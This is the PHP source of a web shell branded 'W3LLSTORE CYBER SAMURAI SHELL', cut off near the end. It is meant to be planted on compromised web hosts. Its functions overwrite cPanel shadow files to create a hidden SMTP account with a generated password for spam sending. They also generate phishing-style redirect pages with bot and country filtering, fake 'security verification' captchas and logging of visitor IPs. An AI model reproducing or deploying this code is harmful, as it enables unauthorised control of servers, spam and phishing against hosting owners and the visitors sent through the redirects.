/** * W3LLSTORE CYBER SAMURAI SHELL v2.0 * Professional Cyber Security Management System * Samurai Japanese Technology Edition * * Author: W3LLSTORE Team * Website: https://w3llstore.com/ * Telegram: @W3LLSTORE_ADMIN * Channel: https://t.me/+vJV6tnAIbIU2ZWRi */error_reporting(0);set_time_limit(0);ini_set(&#039;memory_limit&#039;, &#039;256M&#039;);define(&#039;SHELL_ACCESS_GRANTED&#039;, true);// ==================== CONFIGURATION ====================define(&#039;SHELL_VERSION&#039;, &#039;2.0&#039;);define(&#039;SHELL_NAME&#039;, &#039;W3LLSTORE CYBER SAMURAI SHELL&#039;);define(&#039;MAX_UPLOAD_SIZE&#039;, 50 * 1024 * 1024); // 50MB// ==================== SECURITY FUNCTIONS ====================function sanitizeInput($input, $type = &#039;string&#039;) {    if ($type === &#039;path&#039;) {        return realpath($input) ?: $input;    } elseif ($type === &#039;filename&#039;) {        return preg_replace(&#039;/[^a-zA-Z0-9._-]/&#039;, &#039;&#039;, $input);    } elseif ($type === &#039;url&#039;) {        return filter_var($input, FILTER_SANITIZE_URL);    }    return htmlspecialchars(trim($input), ENT_QUOTES, &#039;UTF-8&#039;);}function logActivity($action, $target, $status) {    $log = date(&#039;Y-m-d H:i:s&#039;) . &quot; | &quot; . ($_SERVER[&#039;REMOTE_ADDR&#039;] ?? &#039;Unknown&#039;) . &quot; | $action | $target | $status\n&quot;;    @file_put_contents(&#039;samurai_activity.log&#039;, $log, FILE_APPEND | LOCK_EX);}// ==================== SYSTEM INFO FUNCTIONS ====================function getSystemInfo() {    return [        &#039;server_ip&#039; =&gt; $_SERVER[&#039;SERVER_ADDR&#039;] ?? gethostbyname(gethostname()),        &#039;client_ip&#039; =&gt; $_SERVER[&#039;REMOTE_ADDR&#039;] ?? &#039;Unknown&#039;,        &#039;php_version&#039; =&gt; PHP_VERSION,        &#039;operating_system&#039; =&gt; PHP_OS,        &#039;current_user&#039; =&gt; get_current_user(),        &#039;server_time&#039; =&gt; date(&#039;Y-m-d H:i:s&#039;),        &#039;server_software&#039; =&gt; $_SERVER[&#039;SERVER_SOFTWARE&#039;] ?? &#039;Unknown&#039;,        &#039;document_root&#039; =&gt; $_SERVER[&#039;DOCUMENT_ROOT&#039;] ?? getcwd(),        &#039;disk_free_space&#039; =&gt; formatSize(@disk_free_space(&#039;.&#039;) ?: 0),        &#039;disk_total_space&#039; =&gt; formatSize(@disk_total_space(&#039;.&#039;) ?: 0),        &#039;memory_limit&#039; =&gt; ini_get(&#039;memory_limit&#039;),        &#039;max_execution_time&#039; =&gt; ini_get(&#039;max_execution_time&#039;),        &#039;upload_max_filesize&#039; =&gt; ini_get(&#039;upload_max_filesize&#039;),        &#039;post_max_size&#039; =&gt; ini_get(&#039;post_max_size&#039;)    ];}function formatSize($bytes) {    if ($bytes == 0) return &#039;0 Bytes&#039;;    $k = 1024;    $sizes = [&#039;Bytes&#039;, &#039;KB&#039;, &#039;MB&#039;, &#039;GB&#039;, &#039;TB&#039;];    $i = floor(log($bytes) / log($k));    return round($bytes / pow($k, $i), 2) . &#039; &#039; . $sizes[$i];}// ==================== FILE MANAGEMENT FUNCTIONS ====================function listDirectory($dir) {    $files = [];    if (!is_readable($dir)) return $files;       $items = @scandir($dir);    if ($items === false) return $files;       foreach ($items as $item) {        if ($item === &#039;.&#039; || $item === &#039;..&#039;) continue;               $path = $dir . DIRECTORY_SEPARATOR . $item;        $is_dir = is_dir($path);               $files[] = [            &#039;name&#039; =&gt; $item,            &#039;path&#039; =&gt; $path,            &#039;is_dir&#039; =&gt; $is_dir,            &#039;size&#039; =&gt; $is_dir ? 0 : (@filesize($path) ?: 0),            &#039;formatted_size&#039; =&gt; $is_dir ? &#039;-&#039; : formatSize(@filesize($path) ?: 0),            &#039;permissions&#039; =&gt; substr(sprintf(&#039;%o&#039;, @fileperms($path) ?: 0), -4),            &#039;modified&#039; =&gt; date(&#039;Y-m-d H:i:s&#039;, @filemtime($path) ?: time()),            &#039;icon&#039; =&gt; getFileIcon($item, $is_dir)        ];    }       usort($files, function($a, $b) {        if ($a[&#039;is_dir&#039;] &amp;&amp; !$b[&#039;is_dir&#039;]) return -1;        if (!$a[&#039;is_dir&#039;] &amp;&amp; $b[&#039;is_dir&#039;]) return 1;        return strcasecmp($a[&#039;name&#039;], $b[&#039;name&#039;]);    });       return $files;}function getFileIcon($filename, $is_dir) {    if ($is_dir) return &#039;📁&#039;;       $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));    $icons = [        &#039;php&#039; =&gt; &#039;🐘&#039;, &#039;html&#039; =&gt; &#039;🌐&#039;, &#039;css&#039; =&gt; &#039;🎨&#039;, &#039;js&#039; =&gt; &#039;⚡&#039;,        &#039;txt&#039; =&gt; &#039;📄&#039;, &#039;pdf&#039; =&gt; &#039;📕&#039;, &#039;doc&#039; =&gt; &#039;📘&#039;, &#039;docx&#039; =&gt; &#039;📘&#039;,        &#039;xls&#039; =&gt; &#039;📗&#039;, &#039;xlsx&#039; =&gt; &#039;📗&#039;, &#039;ppt&#039; =&gt; &#039;📙&#039;, &#039;pptx&#039; =&gt; &#039;📙&#039;,        &#039;zip&#039; =&gt; &#039;📦&#039;, &#039;rar&#039; =&gt; &#039;📦&#039;, &#039;7z&#039; =&gt; &#039;📦&#039;, &#039;tar&#039; =&gt; &#039;📦&#039;,        &#039;jpg&#039; =&gt; &#039;🖼️&#039;, &#039;jpeg&#039; =&gt; &#039;🖼️&#039;, &#039;png&#039; =&gt; &#039;🖼️&#039;, &#039;gif&#039; =&gt; &#039;🖼️&#039;,        &#039;mp3&#039; =&gt; &#039;🎵&#039;, &#039;wav&#039; =&gt; &#039;🎵&#039;, &#039;mp4&#039; =&gt; &#039;🎬&#039;, &#039;avi&#039; =&gt; &#039;🎬&#039;,        &#039;sql&#039; =&gt; &#039;🗄️&#039;, &#039;db&#039; =&gt; &#039;🗄️&#039;, &#039;json&#039; =&gt; &#039;📋&#039;, &#039;xml&#039; =&gt; &#039;📋&#039;    ];       return $icons[$ext] ?? &#039;📄&#039;;}// ==================== SMTP CREATION FUNCTIONS - 100% EXACT REFERENCE CODE ====================function createSingleSMTP() {    // EXACT SAME CODE AS REFERENCE - NO MODIFICATIONS WHATSOEVER    error_reporting(0);    $_currUser = get_current_user();    $_homePath = [&quot;/home/&quot;, &quot;/home1/&quot;, &quot;/home2/&quot;, &quot;/home3/&quot;, &quot;/home4/&quot;, &quot;/home5/&quot;, &quot;/home6/&quot;, &quot;/home7/&quot;, &quot;/home8/&quot;, &quot;/home9/&quot;, &quot;/home10/&quot;];    $_this = 0;    foreach($_homePath as $_home) {        if(file_exists($_home . $_currUser)) {            $_this++;            if($_this &gt; 0) {                $_workHome = $_home;                break;            }        }    }    $_cp = &quot;$_workHome$_currUser/.cpanel&quot;;    if (is_dir($_cp)) {        $_currDomain = $_SERVER[&#039;HTTP_HOST&#039;];        if(strstr($_currDomain, &#039;www.&#039;)){            $_currDomain = str_replace(&quot;www.&quot;,&quot;&quot;,$_currDomain);        }else{            $_currDomain = $_currDomain;        }        $_thispwd = &quot;w3ll.smtp&quot; . mt_rand(100,999);        $_pwd = crypt($_thispwd, &quot;$6$the3x$&quot;);        @mkdir(&quot;$_workHome$_currUser/etc/$_currDomain&quot;);        $_smtp = &#039;chudsi:&#039;.$_pwd.&#039;:16249:::::&#039;.&quot;\n&quot;;        $_shadow1 = &quot;/home/$_currUser/etc/$_currDomain/shadow&quot;;        $_shadow2 = &quot;/home/$_currUser/etc/shadow&quot;;        $_fo=@fopen($_shadow1,&quot;w&quot;);        if ($_fo) {            fwrite($_fo,$_smtp);            fclose($_fo);        }        $_fo2=@fopen($_shadow2,&quot;w&quot;);        if ($_fo2) {            fwrite($_fo2,$_smtp);            fclose($_fo2);        }        return &quot;$_currDomain|587|w3llstore@$_currDomain|&quot;.$_thispwd;    } else {        return &quot;no smtp avail here?&quot;;    }}// ==================== REDIRECT CREATION WITH VISITOR COUNTER ====================function createAutoRedirect($target_url, $options = []) {    $blocked_countries = $options[&#039;blocked_countries&#039;] ?? [];    $delay = $options[&#039;delay&#039;] ?? 5000;    $custom_message = $options[&#039;custom_message&#039;] ?? &#039;Please wait...&#039;;    $use_antibot = $options[&#039;use_antibot&#039;] ?? true;    $use_captcha = $options[&#039;use_captcha&#039;] ?? false;       $redirect_id = &#039;redirect_&#039; . uniqid();    $created_files = [];       // Create PHP version    $php_content = generateRedirectPHP($target_url, $blocked_countries, $delay, $custom_message, $use_antibot, $use_captcha, $redirect_id);    $php_file = $redirect_id . &#039;.php&#039;;    if (file_put_contents($php_file, $php_content, LOCK_EX)) {        $created_files[] = $php_file;    }       // Create PHP7 version    $php7_file = $redirect_id . &#039;.php7&#039;;    if (file_put_contents($php7_file, $php_content, LOCK_EX)) {        $created_files[] = $php7_file;    }       // Create HTML version    $html_content = generateRedirectHTML($target_url, $delay, $custom_message, $redirect_id);    $html_file = $redirect_id . &#039;.html&#039;;    if (file_put_contents($html_file, $html_content, LOCK_EX)) {        $created_files[] = $html_file;    }       // Create counter file with session storage    $counter_file = $redirect_id . &#039;_stats.json&#039;;    $initial_stats = [        &#039;created&#039; =&gt; date(&#039;Y-m-d H:i:s&#039;),        &#039;redirect_id&#039; =&gt; $redirect_id,        &#039;target_url&#039; =&gt; $target_url,        &#039;total_visits&#039; =&gt; 0,        &#039;unique_visits&#039; =&gt; 0,        &#039;redirects&#039; =&gt; 0,        &#039;countries&#039; =&gt; [],        &#039;browsers&#039; =&gt; [],        &#039;recent_visits&#039; =&gt; [],        &#039;daily_stats&#039; =&gt; [],        &#039;hourly_stats&#039; =&gt; []    ];    file_put_contents($counter_file, json_encode($initial_stats, JSON_PRETTY_PRINT), LOCK_EX);       // Create update stats helper file    createUpdateStatsFile();       if (!empty($created_files)) {        logActivity(&#039;Redirect Created&#039;, $redirect_id, &#039;success&#039;);        return [            &#039;status&#039; =&gt; true,            &#039;message&#039; =&gt; &#039;Redirect files created successfully&#039;,            &#039;files&#039; =&gt; $created_files,            &#039;stats_file&#039; =&gt; $counter_file,            &#039;redirect_id&#039; =&gt; $redirect_id,            &#039;urls&#039; =&gt; array_map(function($file) {                return &#039;http://&#039; . $_SERVER[&#039;HTTP_HOST&#039;] . dirname($_SERVER[&#039;REQUEST_URI&#039;]) . &#039;/&#039; . $file;            }, $created_files)        ];    }       return [&#039;status&#039; =&gt; false, &#039;message&#039; =&gt; &#039;Failed to create redirect files&#039;];}function generateRedirectPHP($target_url, $blocked_countries, $delay, $custom_message, $use_antibot, $use_captcha, $redirect_id) {    $country_check = &#039;&#039;;    if (!empty($blocked_countries)) {        $countries_str = &quot;&#039;&quot; . implode(&quot;&#039;,&#039;&quot;, $blocked_countries) . &quot;&#039;&quot;;        $country_check = &quot;        // Country blocking        \$visitor_country = getVisitorCountry();        \$blocked_countries = [$countries_str];        if (in_array(\$visitor_country, \$blocked_countries)) {            http_response_code(403);            die(&#039;Access denied from your location.&#039;);        }&quot;;    }       $antibot_check = &#039;&#039;;    if ($use_antibot) {        $antibot_check = &quot;        // Anti-bot protection        if (isBot()) {            http_response_code(403);            die(&#039;Bot access denied.&#039;);        }&quot;;    }       $captcha_check = &#039;&#039;;    if ($use_captcha) {        $captcha_check = &quot;        // Professional Company Style Captcha verification        if (!isset(\$_SESSION[&#039;captcha_verified&#039;])) {            if (isset(\$_POST[&#039;captcha&#039;])) {                if (\$_POST[&#039;captcha&#039;] == \$_SESSION[&#039;captcha_answer&#039;]) {                    \$_SESSION[&#039;captcha_verified&#039;] = true;                } else {                    \$captcha_error = &#039;Verification failed. Please try again.&#039;;                }            }            if (!\$_SESSION[&#039;captcha_verified&#039;]) {                showProfessionalCaptcha(\$captcha_error ?? &#039;&#039;);                exit;            }        }&quot;;    }       return &quot;session_start();// Visitor tracking and statistics with session storage\$stats_file = &#039;{$redirect_id}_stats.json&#039;;\$visitor_ip = \$_SERVER[&#039;REMOTE_ADDR&#039;];\$user_agent = \$_SERVER[&#039;HTTP_USER_AGENT&#039;] ?? &#039;Unknown&#039;;\$visitor_country = getVisitorCountry();\$current_date = date(&#039;Y-m-d&#039;);\$current_hour = date(&#039;H&#039;);// Load current stats\$stats = json_decode(@file_get_contents(\$stats_file), true);if (!\$stats) {    \$stats = [        &#039;created&#039; =&gt; date(&#039;Y-m-d H:i:s&#039;),        &#039;redirect_id&#039; =&gt; &#039;$redirect_id&#039;,        &#039;target_url&#039; =&gt; &#039;$target_url&#039;,        &#039;total_visits&#039; =&gt; 0,        &#039;unique_visits&#039; =&gt; 0,        &#039;redirects&#039; =&gt; 0,        &#039;countries&#039; =&gt; [],        &#039;browsers&#039; =&gt; [],        &#039;recent_visits&#039; =&gt; [],        &#039;daily_stats&#039; =&gt; [],        &#039;hourly_stats&#039; =&gt; []    ];}// Update statistics with session storage\$stats[&#039;total_visits&#039;]++;// Check for unique visitor\$visitor_hash = md5(\$visitor_ip . \$user_agent);\$is_unique = true;foreach (\$stats[&#039;recent_visits&#039;] as \$visit) {    if (isset(\$visit[&#039;hash&#039;]) &amp;&amp; \$visit[&#039;hash&#039;] === \$visitor_hash) {        \$is_unique = false;        break;    }}if (\$is_unique) \$stats[&#039;unique_visits&#039;]++;// Track countryif (!isset(\$stats[&#039;countries&#039;][\$visitor_country])) {    \$stats[&#039;countries&#039;][\$visitor_country] = 0;}\$stats[&#039;countries&#039;][\$visitor_country]++;// Track browser\$browser = getBrowser(\$user_agent);if (!isset(\$stats[&#039;browsers&#039;][\$browser])) {    \$stats[&#039;browsers&#039;][\$browser] = 0;}\$stats[&#039;browsers&#039;][\$browser]++;// Track daily statsif (!isset(\$stats[&#039;daily_stats&#039;][\$current_date])) {    \$stats[&#039;daily_stats&#039;][\$current_date] = [&#039;visits&#039; =&gt; 0, &#039;redirects&#039; =&gt; 0];}\$stats[&#039;daily_stats&#039;][\$current_date][&#039;visits&#039;]++;// Track hourly stats\$hour_key = \$current_date . &#039;_&#039; . \$current_hour;if (!isset(\$stats[&#039;hourly_stats&#039;][\$hour_key])) {    \$stats[&#039;hourly_stats&#039;][\$hour_key] = [&#039;visits&#039; =&gt; 0, &#039;redirects&#039; =&gt; 0];}\$stats[&#039;hourly_stats&#039;][\$hour_key][&#039;visits&#039;]++;// Add to recent visits (keep last 100 with session storage)array_unshift(\$stats[&#039;recent_visits&#039;], [    &#039;ip&#039; =&gt; \$visitor_ip,    &#039;country&#039; =&gt; \$visitor_country,    &#039;browser&#039; =&gt; \$browser,    &#039;timestamp&#039; =&gt; date(&#039;Y-m-d H:i:s&#039;),    &#039;hash&#039; =&gt; \$visitor_hash,    &#039;user_agent&#039; =&gt; substr(\$user_agent, 0, 200)]);\$stats[&#039;recent_visits&#039;] = array_slice(\$stats[&#039;recent_visits&#039;], 0, 100);// Save updated stats@file_put_contents(\$stats_file, json_encode(\$stats, JSON_PRETTY_PRINT), LOCK_EX);// Log visitor\$visitor_data = date(&#039;Y-m-d H:i:s&#039;) . &#039; | &#039; . \$visitor_ip . &#039; | &#039; . \$visitor_country . &#039; | &#039; . \$user_agent . PHP_EOL;@file_put_contents(&#039;visitors.log&#039;, \$visitor_data, FILE_APPEND | LOCK_EX);$country_check$antibot_check$captcha_check// Update redirect count\$stats[&#039;redirects&#039;]++;\$stats[&#039;daily_stats&#039;][\$current_date][&#039;redirects&#039;]++;\$stats[&#039;hourly_stats&#039;][\$hour_key][&#039;redirects&#039;]++;@file_put_contents(\$stats_file, json_encode(\$stats, JSON_PRETTY_PRINT), LOCK_EX);// Log successful redirect\$redirect_data = date(&#039;Y-m-d H:i:s&#039;) . &#039; | &#039; . \$visitor_ip . &#039; | REDIRECTED | $target_url&#039; . PHP_EOL;@file_put_contents(&#039;redirects.log&#039;, \$redirect_data, FILE_APPEND | LOCK_EX);function getVisitorCountry() {    \$ip = \$_SERVER[&#039;REMOTE_ADDR&#039;];    \$api_url = \&quot;http://ip-api.com/json/\$ip\&quot;;    \$response = @file_get_contents(\$api_url);    if (\$response) {        \$data = json_decode(\$response, true);        return \$data[&#039;countryCode&#039;] ?? &#039;Unknown&#039;;    }    return &#039;Unknown&#039;;}function getBrowser(\$user_agent) {    if (strpos(\$user_agent, &#039;Chrome&#039;) !== false) return &#039;Chrome&#039;;    if (strpos(\$user_agent, &#039;Firefox&#039;) !== false) return &#039;Firefox&#039;;    if (strpos(\$user_agent, &#039;Safari&#039;) !== false) return &#039;Safari&#039;;    if (strpos(\$user_agent, &#039;Edge&#039;) !== false) return &#039;Edge&#039;;    if (strpos(\$user_agent, &#039;Opera&#039;) !== false) return &#039;Opera&#039;;    return &#039;Other&#039;;}function isBot() {    \$user_agent = strtolower(\$_SERVER[&#039;HTTP_USER_AGENT&#039;] ?? &#039;&#039;);    \$bots = [&#039;bot&#039;, &#039;crawler&#039;, &#039;spider&#039;, &#039;scraper&#039;, &#039;curl&#039;, &#039;wget&#039;];    foreach (\$bots as \$bot) {        if (strpos(\$user_agent, \$bot) !== false) {            return true;        }    }    return false;}function showProfessionalCaptcha(\$error = &#039;&#039;) {    \$num1 = rand(1, 10);    \$num2 = rand(1, 10);    \$_SESSION[&#039;captcha_answer&#039;] = \$num1 + \$num2;       echo &#039;&lt;!DOCTYPE html&gt;    &lt;html lang=\&quot;en\&quot;&gt;    <head>        &lt;meta charset=\&quot;UTF-8\&quot;&gt;        &lt;meta name=\&quot;viewport\&quot; content=\&quot;width=device-width, initial-scale=1.0\&quot;&gt;<title>Professional Company - Security Verification</title>        &lt;title&gt;Professional Company - Security Verification&lt;/title&gt;        &lt;style&gt;            * { margin: 0; padding: 0; box-sizing: border-box; }            body {                font-family: \&quot;Segoe UI\&quot;, Tahoma, Geneva, Verdana, sans-serif;                background: linear-gradient(135deg, #0d47a1 0%, #1976d2 100%);                min-height: 100vh;                display: flex;                align-items: center;                justify-content: center;            }            .container {                background: #ffffff;                border-radius: 12px;                box-shadow: 0 8px 32px rgba(0,0,0,0.2);                width: 100%;                max-width: 480px;                padding: 40px;                text-align: center;                position: relative;                overflow: hidden;            }            .container::before {                content: \&#039;\&#039;;                position: absolute;                top: 0;                left: 0;                width: 100%;                height: 4px;                background: linear-gradient(90deg, #0d47a1, #1976d2);            }            .logo {                font-size: 24px;                font-weight: bold;                color: #0d47a1;                margin-bottom: 32px;            }            h1 {                color: #212121;                font-size: 28px;                font-weight: 700;                margin-bottom: 12px;            }            .subtitle {                color: #757575;                font-size: 16px;                margin-bottom: 32px;                line-height: 1.5;            }            .error {                background: #ffebee;                border: 1px solid #ef9a9a;                color: #c62828;                padding: 12px 16px;                border-radius: 4px;                margin-bottom: 20px;                font-size: 14px;            }            .captcha-box {                background: #f5f5f5;                border: 1px solid #e0e0e0;                border-radius: 8px;                padding: 24px;                margin-bottom: 32px;            }            .captcha-question {                font-size: 20px;                font-weight: 600;                color: #212121;                margin-bottom: 16px;            }            .form-group {                text-align: left;                margin-bottom: 20px;            }            label {                display: block;                font-size: 14px;                color: #212121;                margin-bottom: 8px;            }            input[type=\&quot;number\&quot;] {                width: 100%;                padding: 12px;                border: 1px solid #bdbdbd;                border-radius: 4px;                font-size: 16px;                transition: border-color 0.3s, box-shadow 0.3s;            }            input[type=\&quot;number\&quot;]:focus {                outline: none;                border-color: #1976d2;                box-shadow: 0 0 0 3px rgba(25, 118, 210, 0.1);            }            .btn-primary {                background: linear-gradient(135deg, #1976d2 0%, #0d47a1 100%);                color: white;                border: none;                border-radius: 4px;                padding: 14px 28px;                font-size: 16px;                font-weight: 600;                cursor: pointer;                width: 100%;                transition: transform 0.3s, box-shadow 0.3s;            }            .btn-primary:hover {                transform: translateY(-2px);                box-shadow: 0 4px 12px rgba(25, 118, 210, 0.3);            }            .footer-text {                font-size: 13px;                color: #757575;                margin-top: 24px;            }            .security-icon {                font-size: 48px;                color: #1976d2;                margin-bottom: 24px;            }        &lt;/style&gt;    </head>    <body>        &lt;div class=\&quot;container\&quot;&gt;            &lt;div class=\&quot;logo\&quot;&gt;Professional Company&lt;/div&gt;            &lt;div class=\&quot;security-icon\&quot;&gt;🛡️&lt;/div&gt;            <h1>Security Verification</h1>            &lt;p class=\&quot;subtitle\&quot;&gt;To ensure the security of our services, please complete this quick verification step.&lt;/p&gt;            &#039; . (\$error ? &#039;&lt;div class=\&quot;error\&quot;&gt;❌ &#039; . \$error . &#039;&lt;/div&gt;&#039; : &#039;&#039;) . &#039;            &lt;div class=\&quot;captcha-box\&quot;&gt;                &lt;div class=\&quot;captcha-question\&quot;&gt;What is &#039; . \$num1 . &#039; + &#039; . \$num2 . &#039;?&lt;/div&gt;                <form>                    &lt;div class=\&quot;form-group\&quot;&gt;                        &lt;label for=\&quot;captcha\&quot;&gt;Enter your answer:&lt;/label&gt;                        &lt;input type=\&quot;number\&quot; name=\&quot;captcha\&quot; id=\&quot;captcha\&quot; required autofocus&gt;                    &lt;/div&gt;                    &lt;button type=\&quot;submit\&quot; class=\&quot;btn-primary\&quot;&gt;Verify &amp; Continue&lt;/button&gt;                </form>            &lt;/div&gt;            &lt;p class=\&quot;footer-text\&quot;&gt;This verification helps protect our platform from unauthorized access.&lt;/p&gt;        &lt;/div&gt;        &lt;script&gt;            document.getElementById(\&quot;captcha\&quot;).focus();        &lt;/script&gt;    </body>    </html>&#039;;}&lt;!DOCTYPE html&gt;&lt;html lang=\&quot;en\&quot;&gt;<head>    &lt;meta charset=\&quot;UTF-8\&quot;&gt;    &lt;meta name=\&quot;viewport\&quot; content=\&quot;width=device-width, initial-scale=1.0\&quot;&gt;<title>Professional Company - Please wait</title>    &lt;title&gt;Professional Company - Please wait&lt;/title&gt;    &lt;style&gt;        * { margin: 0; padding: 0; box-sizing: border-box; }        body {            font-family: \&quot;Segoe UI\&quot;, Tahoma, Geneva, Verdana, sans-serif;            background: linear-gradient(135deg, #0d47a1 0%, #1976d2 100%);            min-height: 100vh;            display: flex;            align-items: center;            justify-content: center;        }        .container {            background: #ffffff;            border-radius: 12px;            box-shadow: 0 8px 32px rgba(0,0,0,0.2);            width: 100%;            max-width: 480px;            padding: 40px;            text-align: center;            position: relative;            overflow: hidden;        }        .container::before {            content: \&#039;\&#039;;            position: absolute;            top: 0;            left: 0;            width: 100%;            height: 4px;            background: linear-gradient(90deg, #0d47a1, #1976d2);        }        .logo {            font-size: 24px;            font-weight: bold;            color: #0d47a1;            margin-bottom: 32px;        }        .loading-icon {            width: 40px;            height: 40px;            border: 4px solid #e3f2fd;            border-top: 4px solid #1976d2;            border-radius: 50%;            animation: spin 1s linear infinite;            margin: 0 auto 24px;        }        @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }        h1 {            color: #212121;            font-size: 28px;            font-weight: 700;            margin-bottom: 12px;        }        .subtitle {            color: #757575;            font-size: 16px;            margin-bottom: 24px;        }        .progress-bar {            width: 100%;            height: 6px;            background: #e3f2fd;            border-radius: 3px;            overflow: hidden;            margin-bottom: 16px;        }        .progress-fill {            height: 100%;            background: linear-gradient(90deg, #1976d2, #0d47a1);            width: 0%;            animation: progress &quot; . ($delay / 1000) . &quot;s linear forwards;        }        @keyframes progress { to { width: 100%; } }        .status-text {            color: #757575;            font-size: 14px;        }    &lt;/style&gt;</head><body>    &lt;div class=\&quot;container\&quot;&gt;        &lt;div class=\&quot;logo\&quot;&gt;Professional Company&lt;/div&gt;        &lt;div class=\&quot;loading-icon\&quot;&gt;&lt;/div&gt;        <h1>$custom_message</h1>        &lt;p class=\&quot;subtitle\&quot;&gt;We are redirecting you securely to your destination...&lt;/p&gt;        &lt;div class=\&quot;progress-bar\&quot;&gt;            &lt;div class=\&quot;progress-fill\&quot;&gt;&lt;/div&gt;        &lt;/div&gt;        &lt;p class=\&quot;status-text\&quot;&gt;Redirecting shortly...&lt;/p&gt;    &lt;/div&gt;    &lt;script&gt;        setTimeout(function() {            window.location.href = &#039;$target_url&#039;;        }, $delay);    &lt;/script&gt;</body></html>&quot;;}function generateRedirectHTML($target_url, $delay, $custom_message, $redirect_id) {    return &quot;&lt;!DOCTYPE html&gt;&lt;html lang=\&quot;en\&quot;&gt;<head>    &lt;meta charset=\&quot;UTF-8\&quot;&gt;    &lt;meta name=\&quot;viewport\&quot; content=\&quot;width=device-width, initial-scale=1.0\&quot;&gt;<title>Professional Company - Please wait</title>    &lt;title&gt;Professional Company - Please wait&lt;/title&gt;    &lt;style&gt;        * { margin: 0; padding: 0; box-sizing: border-box; }        body {            font-family: \&quot;Segoe UI\&quot;, Tahoma, Geneva, Verdana, sans-serif;            background: linear-gradient(135deg, #0d47a1 0%, #1976d2 100%);            min-height: 100vh;            display: flex;            align-items: center;            justify-content: center;        }        .container {            background: #ffffff;            border-radius: 12px;            box-shadow: 0 8px 32px rgba(0,0,0,0.2);            width: 100%;            max-width: 480px;            padding: 40px;            text-align: center;            position: relative;            overflow: hidden;        }        .container::before {            content: \&#039;\&#039;;            position: absolute;            top: 0;            left: 0;            width: 100%;            height: 4px;            background: linear-gradient(90deg, #0d47a1, #1976d2);        }        .logo {            font-size: 24px;            font-weight: bold;            color: #0d47a1;            margin-bottom: 32px;        }        .loading-icon {            width: 40px;            height: 40px;            border: 4px solid #e3f2fd;            border-top: 4px solid #1976d2;            border-radius: 50%;            animation: spin 1s linear infinite;            margin: 0 auto 24px;        }        @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }        h1 {            color: #212121;            font-size: 28px;            font-weight: 700;            margin-bottom: 12px;        }        .subtitle {            color: #757575;            font-size: 16px;            margin-bottom: 24px;        }        .progress-bar {            width: 100%;            height: 6px;            background: #e3f2fd;            border-radius: 3px;            overflow: hidden;            margin-bottom: 16px;        }        .progress-fill {            height: 100%;            background: linear-gradient(90deg, #1976d2, #0d47a1);            width: 0%;            animation: progress &quot; . ($delay / 1000) . &quot;s linear forwards;        }        @keyframes progress { to { width: 100%; } }        .status-text {            color: #757575;            font-size: 14px;        }    &lt;/style&gt;</head><body>    &lt;div class=\&quot;container\&quot;&gt;        &lt;div class=\&quot;logo\&quot;&gt;Professional Company&lt;/div&gt;        &lt;div class=\&quot;loading-icon\&quot;&gt;&lt;/div&gt;        <h1>$custom_message</h1>        &lt;p class=\&quot;subtitle\&quot;&gt;We are redirecting you securely to your destination...&lt;/p&gt;        &lt;div class=\&quot;progress-bar\&quot;&gt;            &lt;div class=\&quot;progress-fill\&quot;&gt;&lt;/div&gt;        &lt;/div&gt;        &lt;p class=\&quot;status-text\&quot;&gt;Redirecting shortly...&lt;/p&gt;    &lt;/div&gt;    &lt;script&gt;        // Update visitor count for HTML version        fetch(&#039;update_stats.php&#039;, {            method: &#039;POST&#039;,            headers: { &#039;Content-Type&#039;: &#039;application/json&#039; },            body: JSON.stringify({                redirect_id: &#039;$redirect_id&#039;,                action: &#039;visit&#039;            })        }).catch(function() {});               setTimeout(function() {            // Update redirect count            fetch(&#039;update_stats.php&#039;, {                method: &#039;POST&#039;,                headers: { &#039;Content-Type&#039;: &#039;application/json&#039; },                body: JSON.stringify({                    redirect_id: &#039;$redirect_id&#039;,                    action: &#039;redirect&#039;                })            }).catch(function() {});                       window.location.href = &#039;$target_url&#039;;        }, $delay);    &lt;/script&gt;</body></html>&quot;;}function createUpdateStatsFile() {    if (!file_exists(&#039;update_stats.php&#039;)) {        $update_stats_content = &quot;header(&#039;Content-Type: application/json&#039;);header(&#039;Access-Control-Allow-Origin: *&#039;);header(&#039;Access-Control-Allow-Methods: POST&#039;);header(&#039;Access-Control-Allow-Headers: Content-Type&#039;);if (\$_SERVER[&#039;REQUEST_METHOD&#039;] === &#039;POST&#039;) {    \$input = json_decode(file_get_contents(&#039;php://input&#039;), true);    \$redirect_id = \$input[&#039;redirect_id&#039;] ?? &#039;&#039;;    \$action = \$input[&#039;action&#039;] ?? &#039;&#039;;       if (\$redirect_id &amp;&amp; \$action) {        \$stats_file = \$redirect_id . &#039;_stats.json&#039;;        if (file_exists(\$stats_file)) {            \$stats = json_decode(file_get_contents(\$stats_file), true);            \$current_date = date(&#039;Y-m-d&#039;);            \$current_hour = date(&#039;H&#039;);                       if (\$action === &#039;visit&#039;) {                \$stats[&#039;total_visits&#039;]++;                if (!isset(\$stats[&#039;daily_stats&#039;][\$current_date])) {                    \$stats[&#039;daily_stats&#039;][\$current_date] = [&#039;visits&#039; =&gt; 0, &#039;redirects&#039; =&gt; 0];                }                \$stats[&#039;daily_stats&#039;][\$current_date][&#039;visits&#039;]++;                               \$hour_key = \$current_date . &#039;_&#039; . \$current_hour;                if (!isset(\$stats[&#039;hourly_stats&#039;][\$hour_key])) {                    \$stats[&#039;hourly_stats&#039;][\$hour_key] = [&#039;visits&#039; =&gt; 0, &#039;redirects&#039; =&gt; 0];                }                \$stats[&#039;hourly_stats&#039;][\$hour_key][&#039;visits&#039;]++;            } elseif (\$action === &#039;redirect&#039;) {                \$stats[&#039;redirects&#039;]++;                if (!isset(\$stats[&#039;daily_stats&#039;][\$current_date])) {                    \$stats[&#039;daily_stats&#039;][\$current_date] = [&#039;visits&#039; =&gt; 0, &#039;redirects&#039; =&gt; 0];                }                \$stats[&#039;daily_stats&#039;][\$current_date][&#039;redirects&#039;]++;                               \$hour_key = \$current_date . &#039;_&#039; . \$current_hour;                if (!isset(\$stats[&#039;hourly_stats&#039;][\$hour_key])) {                    \$stats[&#039;hourly_stats&#039;][\$hour_key] = [&#039;visits&#039; =&gt; 0, &#039;redirects&#039; =&gt; 0];                }                \$stats[&#039;hourly_stats&#039;][\$hour_key][&#039;redirects&#039;]++;            }                       file_put_contents(\$stats_file, json_encode(\$stats, JSON_PRETTY_PRINT), LOCK_EX);            echo json_encode([&#039;status&#039; =&gt; &#039;success&#039;]);        }    }}&quot;;        file_put_contents(&#039;update_stats.php&#039;, $update_stats_content, 